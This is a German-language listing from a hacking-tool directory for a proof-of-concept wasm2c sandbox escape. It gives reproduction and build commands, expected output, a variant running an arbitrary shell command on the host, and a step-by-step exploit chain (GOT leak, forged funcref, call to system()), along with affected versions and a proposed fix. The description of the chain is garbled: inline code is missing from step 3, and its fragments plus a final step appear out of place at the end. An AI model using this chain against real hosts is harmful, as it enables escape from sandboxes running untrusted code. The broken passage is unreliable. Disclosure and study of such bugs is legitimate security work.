Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
wasm2c-tableflip — wasm2c Sandbox-Escape. Ein nicht vertrauenswürdiges WebAssembly-Modul bricht aus der generierten C-Sandbox aus und führt einen beliebigen Shell-Befehl auf dem Host aus. | Kitploit
Tools/GitHubGitHub/trustsig-eu/wasm2c-tableflip
SchwachstellenanalyseExploitationSicherheitsvirtualisierungBinary-Exploitation
GitHubtrustsig-eu/wasm2c-tableflip

wasm2c-tableflip

wasm2c Sandbox-Escape. Ein nicht vertrauenswürdiges WebAssembly-Modul bricht aus der generierten C-Sandbox aus und führt einen beliebigen Shell-Befehl auf dem Host aus.

Repository anzeigen
412vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

wasm2c-Sandbox-Escape: Gastmodul führt einen Shell-Befehl auf dem Host aus

Lies den Blog: trustsig.eu/blog

wasm_rt_allocate_funcref_table() in wasm2c/wasm-rt-impl-tableops.inc setzt table->size aus der deklarierten Elementanzahl des Moduls und ignoriert anschließend das Ergebnis von calloc(). Wenn die Allokation fehlschlägt, bleibt die Tabelle mit data == NULL und der vollen deklarierten size zurück, sodass jede Grenzprüfung weiterhin besteht und table->data[i] zur absoluten Adresse i * sizeof(wasm_rt_funcref_t) wird.

Die Elementanzahl stammt vom Gast, sodass der Gast die Allokationsgröße wählen und den Fehler erzwingen kann.

Reproduktion

root@kitploit:~
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
root@kitploit:~
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc

Das Image klont wabt von upstream beim Tag 1.0.41, baut wat2wasm und wasm2c, kompiliert das Gastmodul und einen einfachen Embedder und führt es aus.

Erwartete Ausgabe:

root@kitploit:~
running guest
guest returned 0
--- file on host ---
goodbye sandbox

Die letzte Zeile ist der Inhalt von /tmp/pwned.txt, einer Datei, die vor der Ausführung des Sandbox-Moduls nicht existierte.

Verifiziert auf linux/arm64 und linux/amd64. Nichts am Modul ist architekturspezifisch: Die Instanzadresse, der GOT-Slot und der libc-Offset werden alle zur Buildzeit aus dem gerade gebauten Binary und aus der libc dieses Images aufgelöst.

Ohne Docker

Unter Linux, mit installiertem clang, cmake, ninja und binutils:

root@kitploit:~
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
  https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
  -DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c

python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
  --wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt

macOS ist kein unterstütztes Ziel für diesen PoC. Darwin erzwingt kein RLIMIT_AS, daher gelingt das überdimensionierte calloc und der Bug tritt nie auf; arm64-macOS-Builds sind immer positionsunabhängig, und Mach-O hat kein ELF-GOT für den Leak-Schritt. Der Defekt selbst ist plattformunabhängig; nur diese Exploit-Kette ist Linux-spezifisch.

Andere Versionen und Befehle:

root@kitploit:~
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
  "python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"

Was das Gastmodul tut

  1. Deklariert (table $t 2147483648 funcref). Das 68-GB-calloc schlägt fehl, data ist NULL, size bleibt 2147483648, und Tabellenindizes werden zu absoluten Adressen.
  2. table.get bei got_slot/32 liest das GOT des Embedders durch die defekte Tabelle, und table.set speichert das Ergebnis in die eigenen Globals des Moduls, wo Wasm-Code es als Ganzzahl lesen kann. Das leakt die malloc-Adresse von libc, und system ergibt sich aus einer festen Distanz in der libc des Ziels.
  3. Baut ein wasm_rt_funcref_t in vier aufeinanderfolgenden Globals auf: func_type zeigt auf eine Kopie des Typhashs der Aufrufstelle (func_types_eq_slowpath vergleicht ihn mit , sodass gastkontrollierte Bytes die Prüfung bestehen), = , und = die Befehlszeichenkette, ebenfalls in Globals gehalten.

Das einzige Layout-Faktum, das im Modul fest verdrahtet ist, ist die Adresse der Modulinstanz, die ein Global ist und daher in einem Nicht-PIE-Embedder fest liegt. ASLR bleibt aktiviert; die libc-Adresse wird zur Laufzeit geleakt.

Auslösebedingung

Die Tabellenallokation muss fehlschlagen. Der PoC verwendet ulimit -v 1000000, ein Adressraumlimit, wie es ein Host, der nicht vertrauenswürdigen Code ausführt, setzen würde. Es schlägt außerdem auf 32-Bit-Hosts fehl, wo die Allokation überhaupt nicht erfüllt werden kann, bei vm.overcommit_memory=2 oder unter ausreichendem Speicherdruck.

Auf normalem 64-Bit-Linux mit der Standard-Overcommit-Heuristik gelingt die Allokation und wird nie berührt, weshalb der Bug normales Testen übersteht.

Betroffen

Jedes Release, das wasm2c-Tabellen ausliefert. Das ungeprüfte calloc stammt aus Commit ab9e0b55 (#813). Verifiziert gegen das veröffentlichte 1.0.41 und das aktuelle main.

Der Speicherallokator in derselben Runtime behandelt diesen Fall so:

root@kitploit:~
  memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
  if (byte_length != 0 && !memory->data) {
    abort();
  }

Der Tabellen-Allokator braucht dieselbe Prüfung.

Dateien

  • Dockerfile baut wabt und führt den PoC aus.
  • tableflip_poc.py erzeugt das Gastmodul, baut den Embedder, löst die drei Konstanten aus dem gebauten Binary und der libc des Ziels mit nm und readelf auf und führt es aus. Der von ihm erzeugte Embedder enthält keinen Exploit-Unterstützungscode.
Tool herunterladen
memcmp
func
system
module_instance
  • call_indirect bei globals_addr/32. wasm2c erzeugt ((t)entry.func)(entry.module_instance, ...), also ruft das system(command) auf.